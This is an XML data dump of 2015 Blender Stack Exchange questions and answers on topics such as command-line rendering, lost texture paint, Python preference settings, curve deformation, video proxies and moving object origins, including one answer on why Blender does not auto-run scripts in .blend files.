  <row Id="32180" PostTypeId="1" CreationDate="2015-06-09T22:10:26.107" Score="1" ViewCount="40" Body="&lt;p&gt;I'm trying to code a webapp similar to &lt;a href=&quot;http://tarkett-professionals.esignserver3.com/gallery.do&quot; rel=&quot;nofollow&quot;&gt;http://tarkett-professionals.esignserver3.com/gallery.do&lt;/a&gt; but simpler. I've checked blender documentation but being a developer not a modeler/3d artist i couldn't find answer to this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it  possible to render a single frame of a scene using command line interface with given variables like a color of a surface or the camera angle? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can you point me to a direction i can achieve this kind of task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="14893" LastActivityDate="2015-06-09T22:10:26.107" Title="Rendering using CLI" Tags="&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-06-21T07:12:43.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="32183" PostTypeId="2" ParentId="32176" CreationDate="2015-06-10T00:34:29.280" Score="0" Body="&lt;p&gt;It is possible to create interactive movie playback using the blender game engine.&lt;br&gt;&#xA;The complexity required will vary greatly depending upon the needs of your project.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To provide some ideas, I dug up a couple of tutorials that look at interactive movies and game cut scenes. An understanding of the game engine will be required however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6PV5dAzgtzA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=6PV5dAzgtzA&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=P2W_fQayYcA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=P2W_fQayYcA&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-10T00:34:29.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32184" PostTypeId="2" ParentId="31572" CreationDate="2015-06-10T02:16:22.770" Score="1" Body="&lt;p&gt;You have a Solidify Modifier on your pawn(s) of -0.011 thickness that is set to take effect in the render, but not in the viewport. This is causing your pawns to be hollow inside during the final render, but not when seen in the viewport. This is also why your Material Preview looks much denser and darker than your final render. Since when rendered the material is paper-thin, there is not enough geometry for the volumetric properties to show. I think you either didn't mean to be using that modifier, or didn't mean to make it that thin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General good advice: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;always look at the Material Preview to see what Blender &quot;thinks&quot; your material is supposed to look like in its raw state. &lt;/li&gt;&#xA;&lt;li&gt;Always consider what's happening in your Modifier stack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Happy blending.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-10T02:16:22.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32185" PostTypeId="1" CreationDate="2015-06-10T02:27:19.090" Score="0" ViewCount="217" Body="&lt;p&gt;I don't know why, but it doesn't work. I've done &lt;strong&gt;everything&lt;/strong&gt; said in &lt;a href=&quot;https://www.youtube.com/watch?v=GKO4jfAHtjk&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&#xA;video, and my result is the following: planes without a transparent background, only displaying &lt;code&gt;@&lt;/code&gt; as the texture, sitting next to each other. Also, there are &lt;em&gt;a lot&lt;/em&gt; more planes than the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have a .blend which can be found &lt;a href=&quot;http://www.pasteall.org/blend/36646&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="599" LastEditDate="2015-06-23T20:11:45.223" LastActivityDate="2017-06-03T05:13:17.987" Title="How to make dynamic text in GE?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32186" PostTypeId="2" ParentId="32135" CreationDate="2015-06-10T03:22:11.687" Score="2" Body="&lt;p&gt;&lt;strong&gt;Try using &lt;em&gt;interpolated&lt;/em&gt; children instead of &lt;em&gt;simple&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interpolated children are interpolated across the surface of the mesh between the parents. Simple children, on the other hand, are just placed in space around the parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison of simple vs. interpolated (click to enlarge):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/P9xyM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9xyM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left two planes are using simple children, the right two are using interpolated.  You can see how the simple children are hovering in mid-air, poking through the mesh, and not evenly spaced.  While the interpolated children stay on the surface of the mesh and are more evenly distributed.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-06-10T16:16:04.157" LastActivityDate="2015-06-10T16:16:04.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32187" PostTypeId="1" CreationDate="2015-06-10T04:20:14.993" Score="2" ViewCount="396" Body="&lt;p&gt;So I didn't save it, as I didn't know you had to but in this screenshot is what I have. You can see in the UV selector menu thing it shows my texture, highlighted in red. &lt;img src=&quot;https://i.stack.imgur.com/QJvHZ.jpg&quot; alt=&quot;enter image description here&quot;&gt; Now how do I restore it?&lt;/p&gt;&#xA;" OwnerUserId="14897" LastActivityDate="2015-06-10T04:27:10.373" Title="After exiting blender, texture I was painting shows up black" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-10T08:00:41.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="32188" PostTypeId="2" ParentId="32187" CreationDate="2015-06-10T04:27:10.373" Score="0" Body="&lt;p&gt;In Blender, when you texture paint in Blender, it doesn't save the images when you save your file or close Blender (unless you have Blender pack, or save, all images into the .blend file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It keeps the slot (that's what you observed) because the texture is being pointed to by your materials, but if you don't save it externally, you've lost your textures.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-06-10T04:27:10.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32189" PostTypeId="1" AcceptedAnswerId="32193" CreationDate="2015-06-10T05:01:35.453" Score="2" ViewCount="168" Body="&lt;p&gt;I want to change the pie menu radius using python, &#xA;after some search I can access to that propertie using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.UserPreferencesView.bl_rna.properties['pie_menu_radius'].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't change it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some help please! :D&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="241" LastEditDate="2017-03-22T15:04:38.777" LastActivityDate="2017-03-22T15:04:38.777" Title="How change the Pie Menu Radius with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;pie-menu&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32190" PostTypeId="1" CreationDate="2015-06-10T05:08:41.757" Score="4" ViewCount="786" Body="&lt;p&gt;I'm attempting to write an addon that will perform multiple extrusions along a curve.  Perhaps there is a simpler way that already exists but in case there isn't I am trying to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have a triangle (so 3 vertices).  I would like to extrude it 10 times along a curve so that it merges to a single point.  There could be some 'apex' (forgive me if I'm not using the correct terminology) that I could move along the curve and 'up' and 'down'.  So it could be, for instance, from 0 to 1 where .5 would be in the middle and also a linear curve, AKA a straight line :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some formula to calculate the vertex XYZ coordinates for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.  Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OiNk3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11249" LastEditorUserId="11249" LastEditDate="2015-06-10T05:36:07.190" LastActivityDate="2015-06-10T21:05:50.073" Title="Multiple extrude along curve" Tags="&lt;python&gt;&lt;add-on&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32193" PostTypeId="2" ParentId="32189" CreationDate="2015-06-10T06:27:08.473" Score="1" Body="&lt;p&gt;And similar can be done for all other items on the User-Preferences -&gt; Interface tab. (Warning doesn't update the visible value on the UI until you move your mouse, or trigger ui redraw some other way)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;prefs = bpy.context.user_preferences&#xA;prefs.view.pie_menu_radius = 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-10T11:02:41.147" LastActivityDate="2015-06-10T11:02:41.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32194" PostTypeId="2" ParentId="7273" CreationDate="2015-06-10T07:00:27.467" Score="1" Body="&lt;p&gt;There are justifiable use-cases for all potentially dangerous python modules. The more you exclude from python in a standard Blender distribution, the less useful it is for good-natured coders. Some of the built-ins, &lt;code&gt;exec()&lt;/code&gt; and &lt;code&gt;eval()&lt;/code&gt; for instance, can add an extra layer of obfuscation to the code being executed, you'd need to use &lt;code&gt;repr()&lt;/code&gt; to see what kind of code they're attempting to run - but that doesn't mean that they don't have perfectly legitimate uses in a dynamic program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, it's a valid security concern and that's why Blender doesn't auto-run python scripts in .blend files by default, until you manually tick the box &quot;Auto Run Python Scripts&quot;. Blender will tell you if a driver in a .blend wants to auto run, but it will make you navigate to User-Preferences -&gt; File and set it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CmfZj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to reduce potential harm of using .blends / scripts that you don't trust, is to first read them. With scripts at least you can read the source, how many programs do you install for which you don't first read the source? A lot probably.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-10T07:44:01.183" LastActivityDate="2015-06-10T07:44:01.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32195" PostTypeId="1" AcceptedAnswerId="46589" CreationDate="2015-06-10T07:10:41.650" Score="1" ViewCount="833" Body="&lt;p&gt;I've successfully set up a mesh that's deformed by an animated Bezier curve, with the help of the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot; rel=&quot;nofollow&quot;&gt;Animation: AnimAll&lt;/a&gt; utility, with one caveat: the mesh rotates inelegantly about the curve as it animates, in all available &quot;Twisting&quot; options.  Ideally, I'd like to implement and distribute my own option with the following formula:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t = dot(v, axis)&#xA;v' = b(t) + rotationMatrixBetween(axis, b'(t)) * (v - b(t))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;v&lt;/code&gt; and &lt;code&gt;v'&lt;/code&gt; are input and output vertices, respectively, and &lt;code&gt;b&lt;/code&gt; is the cubic Bezier curve function.  This has the effect of rotating every vertex by the same quantity that the associated Bezier tangent is rotated from the chosen &lt;code&gt;axis&lt;/code&gt;, giving a relatively stable animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, &lt;strong&gt;is it possible to implement an additional Twisting Mode as an addon to Blender?&lt;/strong&gt;  (Using the formula I described, ideally.)  &lt;strong&gt;Or, is there a better alternative to achieve what I want?&lt;/strong&gt;  I'd like to export models consisting of simple shapes deformed by animated Bezier curves for the project I'm working on, and the formula I described is the one that I'm using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've checked or investigated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both the model's and curve's origin are at &lt;code&gt;(0, 0, 0)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I've attempted all three twisting modes with every combination of &quot;Bounds Clamp&quot; and &quot;Stretch&quot;, all with the same issue (understandably.)&lt;/li&gt;&#xA;&lt;li&gt;Browsing the source included with the release distribution hasn't been terribly enlightening for my use case.  A full search reveals a &lt;code&gt;twist_mode&lt;/code&gt; being set from the UI and in an import script, but not where it's used.&lt;/li&gt;&#xA;&lt;li&gt;I could swap to a standard skinning approach as a last resort, but it's far more meticulous to create content with than what I'm wanting (which is, &quot;ridiculously simple&quot;, Blender integration issues hopefully notwithstanding.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;a href=&quot;http://www.mediafire.com/download/9756tf2ie5ff0qu/experiment_packed.blend&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; the packed blend file, as requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE AGAIN: browsing the actual source (now that I've found it) reveals an entirely C implementation of twisting that can't be extended without recompiling Blender (assuming bevel-handling code in &lt;code&gt;curve.c&lt;/code&gt; handles all twisting, bevel or no.  I believe it is.)  I believe &quot;Minimum Twist&quot; without correction for the first point would work well enough for me, if I could change it!  Otherwise, maybe there's some way into tricking Blender to not correct for the first tangent in the curve?&lt;/p&gt;&#xA;" OwnerUserId="14898" LastEditorUserId="19719" LastEditDate="2016-02-09T06:40:15.963" LastActivityDate="2016-02-09T06:40:15.963" Title="Animate a Bezier curve deforming a mesh, without the mesh awkwardly rotating" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;animation-nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32196" PostTypeId="1" CreationDate="2015-06-10T07:27:48.477" Score="1" ViewCount="427" Body="&lt;p&gt;Hopefully this is a simple question..&#xA;Ive just set up a small render farm with the &quot;network render&quot; plugin but I cant seem to change the render quality ... all the render options (samples, dimensions etc) are no longer visible .. Im a bit of a newbie to Blender so Im hoping I missing something simple..  thanks heaps in advance !!&lt;/p&gt;&#xA;" OwnerUserId="14902" LastActivityDate="2015-10-08T09:39:49.183" Title="Network Render quality settings" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32198" PostTypeId="2" ParentId="32196" CreationDate="2015-06-10T07:52:56.207" Score="1" Body="&lt;p&gt;ok.. (posting this in case it helps someone else) &#xA;I think I figured it out..  change renderer back to cycles.. &#xA;adjust render settings.. (and save) .. then choose network render again .. &#xA;Cant say for sure as my file is still rendering but going by the time each frame is taking its looking promising..   &lt;/p&gt;&#xA;" OwnerUserId="14902" LastActivityDate="2015-06-10T07:52:56.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32199" PostTypeId="1" AcceptedAnswerId="32207" CreationDate="2015-06-10T08:14:48.817" Score="1" ViewCount="1196" Body="&lt;p&gt;I received a set of *.bobj files. Those files were not created with Blender, they were generated by an external fluid simulator. I am not familiar with the physics engine of blender and I don't need it. I only need to read the mesh for rendering purposes. Using Blender 2.68a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to import those files in Blender?&lt;/p&gt;&#xA;" OwnerUserId="14903" LastActivityDate="2015-06-10T11:26:35.067" Title="How to import .bobj files in Blender?" Tags="&lt;import&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32200" PostTypeId="2" ParentId="32190" CreationDate="2015-06-10T08:14:53.203" Score="4" Body="&lt;p&gt;The last few weeks I developed all sort of spline evaluation stuff for my Animation Nodes addon. For that I created a small library that deals with curves. (Bezier and Poly splines for now only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to use this package for your addon, you should make a multifile addon. To explain how that works isn't the topic here. You may want to google it, look at other multifile addons or ask another question here on stackexchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new folder in your addon directory called 'splines' or whatever.&#xA;And copy the content of this folder inside:&#xA;&lt;a href=&quot;https://github.com/JacquesLucke/animation_nodes/tree/curve-sockets/data_structures/splines&quot; rel=&quot;nofollow&quot;&gt;https://github.com/JacquesLucke/animation_nodes/tree/curve-sockets/data_structures/splines&lt;/a&gt;&#xA;(I hope this link will still be available after I removed the branch, otherwise tell me in the comments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to use this library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from . spline import from_blender&#xA;&#xA;# the object can be any blender object, but should be of type CURVE obviously&#xA;# it returns a list of splines, because one curve object can contain multiple splines&#xA;user_splines = from_blender.createSplinesFromBlenderObject(object)&#xA;&#xA;# choose the spline you want to use&#xA;active_spline = user_splines[0]&#xA;&#xA;# only needed when you want the spline in world space&#xA;active_spline.transform(object.matrix_world)&#xA;&#xA;# this internally creates the individual segments (at least for Poly and Bezier Splines)&#xA;# and prepares everything for evaluation&#xA;active_spline.update()&#xA;&#xA;# get 50 points distributes over the spline&#xA;samples = active_spline.getSamples(50)&#xA;&#xA;# getting samples with equal distances is a bit more complicated&#xA;active_spline.ensureUniformConverter(resolution = 100)&#xA;uniformSamples = active_spline.getUniformSamples(50)&#xA;&#xA;# To evaluate individual parameters (what you called apex):&#xA;location = active_spline.evaluate(0.5)&#xA;&#xA;# The same applies for evaluating the tangents/derivatives of the spline&#xA;tangents = active_spline.getTangentSamples(50)&#xA;uniformTangents = active_spline.getUniformTangentSamples(50)&#xA;tangent = active_spline.evaluateTangent(0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more details you may want to take a look at the code&lt;/p&gt;&#xA;" OwnerUserId="5449" LastEditorUserId="5449" LastEditDate="2015-06-10T21:05:50.073" LastActivityDate="2015-06-10T21:05:50.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32202" PostTypeId="1" AcceptedAnswerId="32220" CreationDate="2015-06-10T09:30:54.040" Score="6" ViewCount="11007" Body="&lt;p&gt;Whenever I try to move a mesh in any direction, the origin point also moves along with it, I am working on a project which is based on particle emanations, so I have to make the origin point glued to its original location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one help me out for this?&lt;/p&gt;&#xA;" OwnerUserId="5103" LastEditorUserId="3710" LastEditDate="2015-06-10T19:30:13.777" LastActivityDate="2017-04-30T00:01:24.737" Title="How to move a mesh without disturbing origin point" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32203" PostTypeId="1" CreationDate="2015-06-10T09:39:43.843" Score="26" ViewCount="11990" Body="&lt;p&gt;When I choose a 'Proxy Render Size' in the properties panel of the preview window then it seems that this is all I have to do in order to boost up the performance of the preview display for playing video. At least it is visible that the resolution changes to a chosen value that seems to match to the chosen proxy render size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have watched a tutorial in which it is explained that I first have to make settings in the properties panel in the sequencer window under 'Proxy/Timecode' &gt; 'Set Selected Strip Proxies'. According to the tutorial the button 'Rebuild Proxy and Timecode Indices' should be pressed then. After that the computer starts to calculate data which takes a moment. It is explained in the tutorial that only after that process is finished one should select the proxy render size in the preview window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question: What is the difference between both choosing proxy render size in the preview window directly versus making selections in the sequencer's properties first and then choosing proxy render size in the preview window and why do I have to stick to this order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tutorial is &lt;a href=&quot;https://www.youtube.com/watch?v=KZl1xS9Lmvw&amp;amp;t=50s&quot;&gt;7 - Blender Video Editing (Preview Performance BOOST! [ Video Proxy ])&lt;/a&gt; from Mikeycal Meyers.&lt;/p&gt;&#xA;" OwnerUserId="14906" LastEditorUserId="2843" LastEditDate="2016-02-04T00:22:54.680" LastActivityDate="2017-05-01T08:30:08.147" Title="How do I use Proxies in the VSE correctly?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32204" PostTypeId="2" ParentId="32202" CreationDate="2015-06-10T09:47:39.673" Score="3" Body="&lt;p&gt;Before you move your mesh, make sure the 3D cursor is coincident with the origin, by selecting the object, and snapping (using &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;) the 3D cursor, choosing the &quot;3D cursor to selected&quot; option. Then move the object where you want it, and set the origin using &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt;, and selecting the &quot;origin to 3D cursor&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2017-04-30T00:01:24.737" LastActivityDate="2017-04-30T00:01:24.737" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32205" PostTypeId="1" CreationDate="2015-06-10T10:00:27.827" Score="7" ViewCount="549" Body="&lt;p&gt;I would like to visualize my Data in a efficient and individual style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Data is in form of a .CSV file and consists of 700000 data sets.&#xA;(later i want about 20 million to be visualized)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One dataset has three information: Longitude (X-Coordinate), Latitude (Y-Coordinate) and a Timelinevalue (Z-Axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to create a vertex-cloud using the CSV-Mesh-Importer&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?211735-A-Script-to-Import-a-CSV-File-and-Create-Meshes-%28for-Blender-2-5x-or-later%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenderartists CSV-Mesh-Importer&lt;/a&gt;.&#xA;The result is one object with my 700000 vertices...... So far so good.&#xA;But to make some kind of Infographic i want to use Dynamic Paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next step I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;animated  my cloud and pushed it through a plane (linear movement on Z-Axis).&lt;/li&gt;&#xA;&lt;li&gt;subdivided my plane and set it to  Dynamic-Paint Canvas&lt;/li&gt;&#xA;&lt;li&gt;set my vertices to Dynamic-Paint Brush&lt;/li&gt;&#xA;&lt;li&gt;set Dynamic Paint Source to Proximity&lt;/li&gt;&#xA;&lt;li&gt;Dynamic Paint Source - Paint Distance to 0.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;....no Result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only i could set the Paint source to vertices.... ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to convert all vertices into little triangles or rectangles (extrude 2x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the quadruple number of vertices i got a visualization.&#xA;....Not really satisfying&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to convert my datacloud into a Particle System?&lt;/li&gt;&#xA;&lt;li&gt;Can I teach Dynamic Paint to read out the vertices of the object?&lt;/li&gt;&#xA;&lt;li&gt;Should i try another solution?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Silent_Bob&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VFmS2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7PY5m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14905" LastEditorUserId="14905" LastEditDate="2015-06-10T11:19:04.710" LastActivityDate="2015-11-04T11:34:59.773" Title="Data visualization using Dynamic Paint /Particle System" Tags="&lt;particles&gt;&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32206" PostTypeId="2" ParentId="32166" CreationDate="2015-06-10T10:08:38.550" Score="18" Body="&lt;p&gt;The way Todd is completely right,but you can go even complex for scratches,like using the pointiness feature in blender,here I used two different scratches texture to do the material,check the node tree for more information.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Jdsfm.png&quot; alt=&quot;The material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HPKlQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-06-10T10:08:38.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32207" PostTypeId="2" ParentId="32199" CreationDate="2015-06-10T10:27:05.147" Score="2" Body="&lt;p&gt;A Bobj file sounds like it could be a Binary OBJ file, However i believe this is not a specific standard of file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's Fluid simulator outputs bobj.gz as a format in binary, and compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bobj files are used in the fluid tab of the physics settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the bobj.gz files are in a directory of their own, and then goto that directory in the highlighted field.&#xA;Make sure you only have the directory name in the field, and not the file name of the fluid cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to make sure the file names do not change from &lt;strong&gt;fluidsurface_final_xxxx.bobj&lt;/strong&gt; &#xA;and set the viewport Display to Final.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hN6da.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="5838" LastEditDate="2015-06-10T11:26:35.067" LastActivityDate="2015-06-10T11:26:35.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32208" PostTypeId="2" ParentId="18506" CreationDate="2015-06-10T10:45:00.260" Score="11" Body="&lt;p&gt;Yes, this &lt;strong&gt;is possible&lt;/strong&gt; (out of the box).  The mirror modifier has a mirror UV option, so you can mirror either the U or V (or both) texture coordinates.  So for example, you can model the left hand side of a head with the mirror modifier enabled for X and U.  Then unwrap it to the left-hand side of your texture.  The mirrored right-hand side of the mesh will have its UV co-ordinates on the right-hand side of the texture, so you can have something different there, e.g. a scar drawn on the texture's right cheek which appears on the right cheek of the mirrored model.&lt;/p&gt;&#xA;" OwnerUserId="14909" LastActivityDate="2015-06-10T10:45:00.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32209" PostTypeId="2" ParentId="32202" CreationDate="2015-06-10T11:11:18.993" Score="1" Body="&lt;p&gt;Another approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;move the Object to wherever you want. The origin will move too, don't worry.&lt;/li&gt;&#xA;&lt;li&gt;put the 3d Cursor where you would like the Origin of that Object to be.&lt;/li&gt;&#xA;&lt;li&gt;then &lt;em&gt;Object-&gt; Transform -&gt; Origin to 3d Cursor&lt;/em&gt; (or pick it from &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-10T11:16:57.510" LastActivityDate="2015-06-10T11:16:57.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32210" PostTypeId="1" AcceptedAnswerId="32211" CreationDate="2015-06-10T11:47:35.173" Score="3" ViewCount="464" Body="&lt;p&gt;After when I add a path, enter edit mode, and delete every vertex, except for 3 vertices, then the path is smooth:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YJp0M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I delete every vertex, except for 2 or 1 vertices, and extrude vertex 3, then the path is not smooth anymore. How can I fix this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5YiKB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-10T11:53:31.393" LastActivityDate="2015-06-10T12:23:12.473" Title="Curve not smooth after deleting more than n-3 vertices, where n is amount of every vertex in path" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
